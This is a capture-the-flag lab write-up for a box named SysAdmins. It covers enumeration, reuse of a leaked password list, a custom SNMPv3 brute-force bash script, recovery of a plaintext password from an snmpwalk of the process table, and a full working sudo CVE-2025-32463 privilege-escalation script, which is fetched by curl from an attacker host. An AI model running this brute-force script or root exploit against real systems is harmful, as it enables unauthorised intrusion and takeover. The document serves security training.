Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

SysAdmins

Target Information

Property Value
Target 10.1.148.73
Hostname sysadmins
Platform Linux (Ubuntu 24.04.4 LTS, kernel 6.8.0-134-generic)

Enumeration

Port Scan

Initial Nmap enumeration identified FTP, SSH, and an HTTP service on an Ubuntu host, with anonymous FTP access flagged.

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             742 Jul 13 12:39 data_breach_notification.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.0.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e7:26:9a:a9:16:cb:fc:82:4b:dd:f9:85:60:86:70:8d (ECDSA)
|_  256 c8:ae:e8:56:7b:51:c5:49:8b:42:c0:dd:df:02:56:eb (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Sysadmins - System Administration Services
|_http-server-header: nginx/1.24.0 (Ubuntu)

Network Distance: 3 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 466.11 seconds

Confirmed open services:

  • FTP 21 (anonymous login allowed)
  • SSH 22
  • HTTP 80 (nginx, “Sysadmins - System Administration Services”)

Web Enumeration

The HTTP service hosted the company’s own system-administration site.

The site’s team page was the evidence source for the usernames used in later credential attacks.

The page listed three names — waserby, helena, peter — which were saved as a username list (team-users) for later use.

FTP Enumeration

Anonymous FTP login was flagged by Nmap, so I logged in and listed the share.

ftp anonymous@10.1.148.73            
Connected to 10.1.148.73.
220 (vsFTPd 3.0.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||63732|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             742 Jul 13 12:39 data_breach_notification.txt
226 Directory send OK.
ftp> get data_breach_notification.txt
226 Transfer complete.
ftp> exit
221 Goodbye.

Read the downloaded notification.

Hi team,

We are writing to inform you of a recent data breach that may have affected some of your information.

Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.

We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.

We'll continue to share updates through this channel.

Kind regards,
Peter
Lead Sysadmin

The notification named a specific Pastebin URL hosting the leaked credentials, so I opened it directly.

The page contained a list of leaked passwords, saved locally as leaked-passwords for use against the enumerated usernames.

Credential Discovery

SSH Authentication Method Check

Made a single SSH connection attempt to the root account to identify which authentication method the SSH service exposed for this connection.

ssh root@10.1.148.73                 
The authenticity of host '10.1.148.73 (10.1.148.73)' can't be established.
ED25519 key fingerprint is: SHA256:uLHXitO2FFEDw99za2iNzlcylRxxAovmSCoSq2AB2MM
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.1.148.73' (ED25519) to the list of known hosts.
root@10.1.148.73's password:

The service responded with a password prompt, establishing that password-based authentication was available for this connection attempt.

SSH Brute Force

With the enumerated usernames and the leaked password list in hand, I ran a credential brute-force against SSH.

hydra -L team-users -P leaked-passwords ssh://10.1.148.73 -t 16
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-03 10:10:43
[DATA] max 16 tasks per 1 server, overall 16 tasks, 300 login tries (l:3/p:100), ~19 tries per task
[DATA] attacking ssh://10.1.148.73:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-03 10:12:23

SSH brute-forcing did not recover any valid credentials, so I checked for additional exposed services with a UDP scan.

UDP Scan

PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
161/udp open          snmp

SNMP was open. Ran a targeted scan to confirm the version.

sudo nmap -sU -sV -p161 --version-all 10.1.148.73

PORT    STATE SERVICE VERSION
161/udp open  snmp    net-snmp; net-snmp SNMPv3 server

The service was SNMPv3, so community-string guessing wasn’t an option. I generated a brute-force script that tested the enumerated usernames against the leaked password list as SNMPv3 authNoPriv/MD5 credentials.

SNMPv3 Brute Force

#!/usr/bin/env bash

TARGET="10.1.148.73"
OID="1.3.6.1.2.1.1.1.0"
FOUND=0

while IFS= read -r user; do
    [[ -z "$user" ]] && continue
    while IFS= read -r pass; do
        [[ -z "$pass" ]] && continue

        echo "[*] MD5 testing: $user:$pass"
        output=$(timeout 5 snmpget -v3 -l authNoPriv -u "$user" -a MD5 -A "$pass" "$TARGET" "$OID" 2>&1)
        status=$?

        if [[ $status -eq 0 ]] &&
           [[ "$output" != *"Authentication failure"* ]] &&
           [[ "$output" != *"Unknown user name"* ]] &&
           [[ "$output" != *"Timeout"* ]]; then
            echo "[+] SUCCESS  $user:$pass  (MD5)"
            FOUND=1
            break
        fi
    done < leaked-passwords
    [[ $FOUND -eq 1 ]] && break
done < team-users
./snmpv3-test.sh
[*] MD5 testing: waserby:lou3366
[*] MD5 testing: waserby:19720917
...
[*] MD5 testing: waserby:butterfly

[+] SUCCESS
[+] Username: waserby
[+] Password: butterfly
[+] Protocol: MD5
[+] Response: iso.3.6.1.2.1.1.1.0 = STRING: "Linux sysadmins 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64"

Recovered valid SNMPv3 credentials:

waserby:butterfly

SNMP Enumeration

With valid SNMPv3 credentials, ran a full walk against the agent and filtered the output for anything that might expose credentials or sensitive configuration.

snmpwalk -v3 -l authNoPriv -u waserby -a MD5 -A butterfly 10.1.148.73 > snmp.txt
grep -Ei "pass|user|login|secret|token|flag|key|ssh|home|bash|cron|backup|config|private|auth" snmp.txt

The process table exposed a cron job running an SSH command with a plaintext password passed via sshpass.

iso.3.6.1.2.1.25.4.2.1.4.2413 = STRING: "/usr/sbin/CRON"
iso.3.6.1.2.1.25.4.2.1.5.2414 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60"

That yielded a second, higher-value credential:

helena:PerfectIsTheEnemyOfDone223!

Initial Access

Used the recovered helena credential to authenticate over SSH.

ssh helena@10.1.148.73
helena@10.1.148.73's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-134-generic x86_64)

Last login: Thu Jul 23 19:41:15 2026 from 10.0.2.125
helena@sysadmins:~$ whoami
helena
helena@sysadmins:~$ pwd
/home/helena
helena@sysadmins:~$ cat user.txt 
f47e15d6b346cb443b77f71fb2b2d946

SSH access as helena was confirmed and the user flag was retrieved.

Post-Foothold Enumeration

Checked sudo rights and SUID binaries.

helena@sysadmins:~$ sudo -l 
Password: 
Sorry, user helena may not run sudo on sysadmins.

helena@sysadmins:~$ find / -user root -perm /4000 2>/dev/null
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/chsh

/usr/bin/sudo carried the SUID bit, so it always executes as root. That made the installed sudo version worth checking for a local vulnerability.

helena@sysadmins:~$ sudo --version
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50

Sudo 1.9.16p2 is vulnerable to CVE-2025-32463 (a chroot/NSS local privilege escalation), so I retrieved a public PoC for it.

Privilege Escalation

helena@sysadmins:~$ curl -O "http://10.200.76.199:1235/CVE-2025-32463-POC.sh" 
helena@sysadmins:~$ chmod +x CVE-2025-32463-POC.sh

Reviewed the script before running it. It stages a fake nsswitch.conf and a malicious libnss_ module, then invokes sudo -R (the --chroot option) so the attacker-controlled NSS library is loaded and its constructor executes as root.

#!/bin/bash
STAGE=$(mktemp -d /tmp/sudostage.XXXX)
cd "$STAGE"

cat > xd1337.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void xd1337(void) {
    setreuid(0, 0);
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p xd/etc libnss_
echo "passwd: /xd1337" > xd/etc/nsswitch.conf
cp /etc/group xd/etc/

gcc -shared -fPIC -Wl,-init,xd1337 -o libnss_/xd1337.so.2 xd1337.c

sudo -R xd /bin/true
helena@sysadmins:~$ ./CVE-2025-32463-POC.sh
root@sysadmins:/# whoami
root
root@sysadmins:/# cat /root/root.txt
2c0ae869620220c3ee66afb9c91e9ed7

Root access was confirmed and the root flag was retrieved.

Attack Path Summary

Nmap identified FTP, SSH, HTTP
→ Web team page revealed members: waserby, helena, peter
→ Anonymous FTP login exposed data_breach_notification.txt
→ Notification pointed to a Pastebin credential leak
→ Retrieved leaked password list from Pastebin
→ SSH root attempt confirmed password auth was enabled (no valid password)
→ Hydra brute force of team-users x leaked-passwords over SSH failed
→ UDP scan found SNMP (161/udp), confirmed SNMPv3
→ Scripted SNMPv3 authNoPriv/MD5 brute force recovered waserby:butterfly
→ snmpwalk process list exposed a cron sshpass job with helena's password
→ SSH login as helena succeeded, retrieved user.txt
→ sudo -l denied; sudo --version showed 1.9.16p2 (CVE-2025-32463)
→ Ran the CVE-2025-32463 PoC, obtained a root shell, retrieved root.txt

Credentials Found

Principal Credential Source
waserby butterfly SNMPv3 authNoPriv/MD5 brute force
helena PerfectIsTheEnemyOfDone223! SNMP process list (cron sshpass argument)

Tools Used

  • Nmap
  • FTP (built-in client)
  • Hydra
  • snmpget / snmpwalk
  • Custom SNMPv3 brute-force script
  • SSH
  • CVE-2025-32463 PoC (sudo chroot NSS local privilege escalation)